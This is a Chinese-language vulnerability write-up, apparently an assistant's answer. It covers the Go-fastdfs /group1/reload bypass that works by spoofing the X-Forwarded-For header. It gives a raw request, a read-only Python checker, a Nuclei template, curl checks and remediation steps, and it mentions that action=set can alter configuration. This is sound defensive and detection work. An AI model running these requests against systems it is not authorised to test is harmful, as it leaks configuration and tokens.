一、漏洞定性
Go-fastdfs 的 /group1/reload 接口依赖 GetClientIp() 校验来源 IP,而该方法信任 X-Forwarded-For 头 。攻击者只需伪造 XFF: 127.0.0.1,即可绕过 admin_ips 白名单,读取甚至修改服务端配置。
| 项 | 值 |
|---|---|
| 漏洞类型 | 信任边界缺陷 / 认证绕过(CWE-290) |
| 影响产品 | sjqzhang/go-fastdfs(文件服务器本体) |
| 影响版本 | 未见官方版本范围公告,默认配置普遍受影响 |
| CVE 编号 | 无。多个知识库归类为"GetClientIp 未授权访问漏洞",未分配 CVE |
| 修复版本 | 无官方补丁。修复依赖部署层控制 |
| 利用前置 | 能访问 HTTP 端口,无需任何凭证 |
| 公开 PoC | 已有 ,就是你贴出的 XFF: 127.0.0.1 + action=get |
必须先澄清一个混淆点 :搜索结果中出现的 CVE-2026-6105、CVE-2026-11437 等编号,针对的是 perfree/go-fastdfs-web (一个独立的 Web 管理面板),不是你目标中的 sjqzhang/go-fastdfs(文件服务器本体)。两者不是同一个项目,漏洞编号和修复路径完全不同。如果你按 CVE 去搜补丁,大概率找错地方。
二、PoC 为什么有效
/reload 的设计意图是只允许集群节点或 admin_ips 列表内的 IP 调用。Reload 函数首先调用 c.IsPeer(r) 做来源校验,而 IsPeer 依赖的 GetClientIp() 从 X-Forwarded-For、X-Real-IP 等 HTTP 头中提取客户端 IP,而不是仅使用 TCP 连接的源地址。
admin_ips 在 cfg.json 中默认值为 127.0.0.1。于是:
GET /group1/reload?action=get HTTP/1.1
Host: target
X-Forwarded-For: 127.0.0.1
GetClientIp() 读到 127.0.0.1,IsPeer 判定为管理员来源,请求通过。action=get 返回完整配置,可能包含存储路径、集群节点、认证 token。action=set 配合 cfg 参数可修改配置,action=reload 使其生效。
核心问题是服务端把 HTTP 头的可信度等同于网络层来源地址。任何能发 HTTP 请求的人都能伪造这个头。
三、Python 检测脚本(安全只读版)
以下脚本只验证绕过是否成立,不修改配置、不触发 reload ,仅以 action=get 读取配置并判断是否成功。
python
#!/usr/bin/env python3
"""
Go-fastdfs /reload XFF 绕过检测(安全,只读)
用法: python gofastdfs_reload_check.py http://target:8080
仅发送 action=get,不修改任何配置。
"""
import sys
import requests
import urllib3
urllib3.disable_warnings()
def check(base):
base = base.rstrip("/")
url = f"{base}/group1/reload?action=get"
# 基线:不带 XFF,预期被拒绝
try:
r_norm = requests.get(url, timeout=10, verify=False)
except requests.RequestException as e:
print(f"[-] 请求失败: {e}")
return
print(f"[*] 基线请求(无 XFF)状态: {r_norm.status_code}")
print(f"[*] 基线响应片段: {r_norm.text[:150]}")
# 绕过:带 XFF 127.0.0.1
headers = {"X-Forwarded-For": "127.0.0.1"}
try:
r_xff = requests.get(url, headers=headers, timeout=10, verify=False)
except requests.RequestException as e:
print(f"[-] XFF 请求失败: {e}")
return
print(f"\n[*] XFF 请求状态: {r_xff.status_code}")
print(f"[*] XFF 响应片段: {r_xff.text[:300]}")
baseline_denied = "Can only be called by" in r_norm.text or "not allowed" in r_norm.text.lower()
xff_success = '"status":"ok"' in r_xff.text or '"data"' in r_xff.text
if baseline_denied and xff_success:
print("\n[!] 漏洞存在:X-Forwarded-For 可绕过 admin_ips 限制")
print("[!] 配置信息已泄露(上方响应片段),攻击者可进一步用 action=set 修改配置")
return True
elif xff_success and not baseline_denied:
print("\n[*] 基线请求也成功,目标可能未设置 admin_ips 限制或已配置宽松")
return False
else:
print("\n[+] 未检测到绕过,XFF 头可能未被信任或目标已修复")
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法: {sys.argv[0]} http://target:8080")
sys.exit(1)
result = check(sys.argv[1])
sys.exit(0 if result else 1)
运行示例:
bash
python gofastdfs_reload_check.py http://192.168.1.100:8080
脚本会先发一个不带 XFF 的基线请求,确认被拒绝;再发带 XFF 的请求,确认返回配置。两者同时成立才判定漏洞存在,避免把本来就无限制的目标误报为漏洞。
四、Nuclei 模板(安全只读版)
保存为 go-fastdfs-reload-xff-detect.yaml。仅发送 action=get 请求,不触发配置修改或 reload。
bash
id: go-fastdfs-reload-xff-detect
info:
name: Go-fastdfs /reload X-Forwarded-For Auth Bypass (Read-Only)
author: security-research
severity: high
description: |
Go-fastdfs /group1/reload 接口依赖 GetClientIp() 校验来源,
而该方法信任 X-Forwarded-For 头。设置 XFF: 127.0.0.1 可绕过
admin_ips 限制读取配置。本模板仅发送 action=get,不修改配置。
reference:
- https://peiqi.wgpsec.org/wiki/webapp/Go-fastdfs/Go-fastdfs%20GetClientIp%20未授权访问漏洞.html
classification:
cwe-id: CWE-290
tags: go-fastdfs,reload,xff,auth-bypass
http:
- raw:
# 基线:无 XFF,预期被拒绝
- |
GET /group1/reload?action=get HTTP/1.1
Host: {{Hostname}}
# 绕过:带 XFF 127.0.0.1,预期返回配置
- |
GET /group1/reload?action=get HTTP/1.1
Host: {{Hostname}}
X-Forwarded-For: 127.0.0.1
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(body_1, 'Can only be called by')"
- "contains(body_2, '\"status\":\"ok\"')"
condition: and
extractors:
- type: regex
name: config_leak
part: body_2
regex:
- '"data":\s*(\{.*?\})'
group: 1
运行方式:
bash
nuclei -t go-fastdfs-reload-xff-detect.yaml -u http://target:8080
模板要求基线被拒绝、XFF 请求成功 同时成立才匹配,避免误报。extractors 仅提取配置内容供人工复核,不自动利用。
五、修复建议(没有官方补丁)
5.1 网络层限制(最直接)
如果 /reload 不需要对外提供服务,在反向代理或防火墙层阻断:
bash
location = /group1/reload {
allow 127.0.0.1;
allow <集群内网段>;
deny all;
}
或在 iptables 中限制源 IP。这比修补代码更可靠,因为漏洞的根源是应用层信任了 HTTP 头,而网络层控制不依赖应用逻辑。
5.2 收紧 admin_ips
编辑 cfg.json,将 admin_ips 设置为不可伪造的值 。默认的 127.0.0.1 是最危险的,因为 XFF 伪造成本为零。改为集群节点的真实内网 IP,并配合网络隔离,确保这些 IP 不会被外部冒充。
5.3 具备代码修改能力时
GetClientIp() 应改为优先使用 r.RemoteAddr(TCP 连接的真实源地址),仅在请求来自可信代理时才读取 X-Forwarded-For。但这需要对项目代码有控制权,并自行编译部署。
5.4 暴露面收敛
Go-fastdfs 作为文件存储服务,不应直接暴露于公网。如果业务允许,将其置于内网或 VPN 之后,是最彻底的缓解。
六、自查清单
bash
# 1) 确认目标是 go-fastdfs 而非 go-fastdfs-web
curl -s http://target:8080/ | head -20
# go-fastdfs 首页通常有简单提示,go-fastdfs-web 是管理面板登录页
# 2) 无 XFF 访问 reload,预期被拒绝
curl -s "http://target:8080/group1/reload?action=get"
# 3) 带 XFF 访问,若返回配置则存在绕过
curl -s -H "X-Forwarded-For: 127.0.0.1" "http://target:8080/group1/reload?action=get"
若第 3 步返回 {"status":"ok","data":{...}},说明目标存在此问题。不要执行 action=set 或 action=reload,除非在隔离测试环境中并已获得明确授权。
总结 :PoC 有效, Go-fastdfs 设计上的信任边界缺陷。没有厂商补丁可等,修复只能靠部署层控制------网络限制、收紧 admin_ips、不暴露公网。如果你在做资产排查,先确认目标是 sjqzhang/go-fastdfs 还是 perfree/go-fastdfs-web,两者的漏洞编号和修复路径完全不同。